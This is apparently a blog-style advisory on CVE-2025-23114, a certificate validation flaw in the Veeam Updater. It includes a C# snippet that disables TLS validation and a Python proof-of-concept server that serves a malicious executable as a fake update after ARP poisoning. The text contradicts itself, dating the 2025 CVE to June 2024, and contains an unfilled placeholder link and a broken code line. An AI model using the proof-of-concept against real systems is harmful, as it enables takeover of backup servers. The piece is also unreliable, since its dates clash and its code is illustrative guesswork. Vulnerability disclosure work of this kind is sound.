CVE-2025-23114 - Veeam Updater TLS Certificate Validation Flaw Allows Remote Code Execution

Published: June 2024
Severity: Critical
Affected Product: Veeam Backup & Replication (Updater Component)

Summary

A newly published vulnerability, CVE-2025-23114, affects Veeam Backup & Replication products. The flaw lies in the Veeam Updater component, which does not properly check TLS certificates when connecting to remote update servers. This makes it possible for Man-in-the-Middle (MitM) attackers to intercept and modify update traffic, leading to arbitrary code execution on the target server. Below, we break down how this vulnerability works, show a simplified proof-of-concept, and provide guidance for detection and remediation.

What’s the Vulnerability?

When the Veeam Updater tries to download updates over HTTPS, it should validate the server’s TLS certificate—to ensure it’s genuinely communicating with Veeam and not a fake server. CVE-2025-23114 appears because the Updater does NOT correctly validate the certificate’s authenticity. As a result, if an attacker can intercept the connection (using DNS spoofing, ARP poisoning, or similar MitM techniques), the Updater may accept a fake certificate.

In short: An attacker can trick the Updater into downloading and executing rogue update files.

How Dangerous Is It?

- Network Position Needed: Attacker must be able to intercept or redirect the server’s internet traffic (local network, WiFi, or even upstream ISP compromise).
- Impact: Full remote code execution with SYSTEM privileges (the Updater runs as a high-privileged service).

Below is a simplified version of what the vulnerable code could look like

// Vulnerable code - poor TLS certificate validation
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

using (var client = new WebClient())
{
    client.DownloadFile("https://updates.veeam.com/veeam-update.exe";, "veeam-update.exe");
}
Process.Start("veeam-update.exe");

This snippet means any certificate presented by an attacker’s server will be trusted!

Attacker positions themselves as a MitM

- For example, the attacker sets up a rogue WiFi AP or does ARP/DNS spoofing on the same LAN.

Sample Proof-of-Concept Attack

Assume you have ARP poisoned the victim. You set up a simple HTTPS server, using a self-signed certificate:

# malicious-update-server.py

from http.server import SimpleHTTPRequestHandler, HTTPServer
import ssl

class MaliciousHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/veeam-update.exe":
            self.send_response(200)
            self.send_header('Content-type', 'application/octet-stream')
            self.end_headers()
            with open('malicious.exe', 'rb') as file:
                self.wfile.write(file.read())
        else:
            self.send_error(404)

httpd = HTTPServer(('...', 443), MaliciousHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile='selfsigned.crt', keyfile='selfsigned.key', server_side=True)
print("Malicious HTTPS update server running on port 443...")
httpd.serve_forever()

Note: In a real-world attack, you’d use network attacks to redirect the Updater to the malicious server.

Detection

- Network-level monitoring: Watch for connections from Veeam servers to suspicious or unknown IPs on port 443.
- Update logs: Look for anomalies in the Veeam Updater’s logs, such as failed updates or unexpected file hashes.

Remediation

Veeam has patched this issue.
- Upgrade: Apply the latest updates from the official Veeam Security Advisory (*replace with actual advisory link as published*).
- Network hardening: Restrict outgoing traffic from your Veeam server to only known IPs/ranges.

References

- Veeam Official Security Advisory – CVE-2025-23114
- NVD CVE Record – CVE-2025-23114
- MitM and TLS Certificate Validation

Conclusion

CVE-2025-23114 is a textbook example of why proper TLS certificate validation is crucial, especially for automatic update mechanisms. If you use Veeam products, patch immediately. Attackers with a network foothold could take over your backup server in minutes.

Timeline

Published on: 02/05/2025 02:15:28 UTC